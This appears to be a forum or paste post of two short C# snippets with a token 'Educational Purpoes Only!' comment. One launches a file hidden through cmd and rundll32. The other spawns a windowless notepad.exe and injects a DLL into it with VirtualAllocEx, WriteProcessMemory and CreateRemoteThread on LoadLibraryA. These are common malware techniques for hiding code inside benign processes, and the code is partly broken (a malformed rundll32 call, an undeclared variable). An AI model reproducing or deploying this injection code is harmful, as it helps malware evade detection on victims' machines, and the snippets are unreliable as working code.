public static void RunPE(Process process, string path, String arguments)
{
		process.StartInfo.CreateNoWindow		= true;
		process.StartInfo.UseShellExecute	= false;
		process.StartInfo.RedirectStandardOutput = true;
		process.StartInfo.RedirectStandardInput	= true;
		process.StartInfo.FileName			= Environment.GetEnvironmentVariable("ComSpec");
		process.StartInfo.Arguments			= "/c rundll32.dll,EntryPoint \"" + path + "\",main \"" + arguments + "\"";
		process.Start();
	}

// Educational Purpoes Only!


------------------------------------------------------------------------------------------------


public void mapProcess(string DLLPath)
{
        Process process = new Process();
        process.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe";
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.RedirectStandardInput = true;
        process.StartInfo.CreateNoWindow = true;
        process.Start();
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        IntPtr kernel32Handle = GetModuleHandle("kernel32.dll");
        IntPtr memory = VirtualAllocEx(process.Handle, (IntPtr)null, (IntPtr)DLLPath.Length, 12288u, 64u);
        if ((IntPtr)DLLPath.Length.ToString().Length > 0 && memory != IntPtr.Zero)
        {
            WriteProcessMemory(process.Handle, memory, Encoding.Default.GetBytes(DLLPath), (IntPtr)DLLPath.Length, out ptr);
            CreateRemoteThread(process.Handle, IntPtr.Zero, IntPtr.Zero, loadLibraryAddr, memory, 0u, out ptr);
        }
}

--------------------------------------------------------------------------------------------------------------------------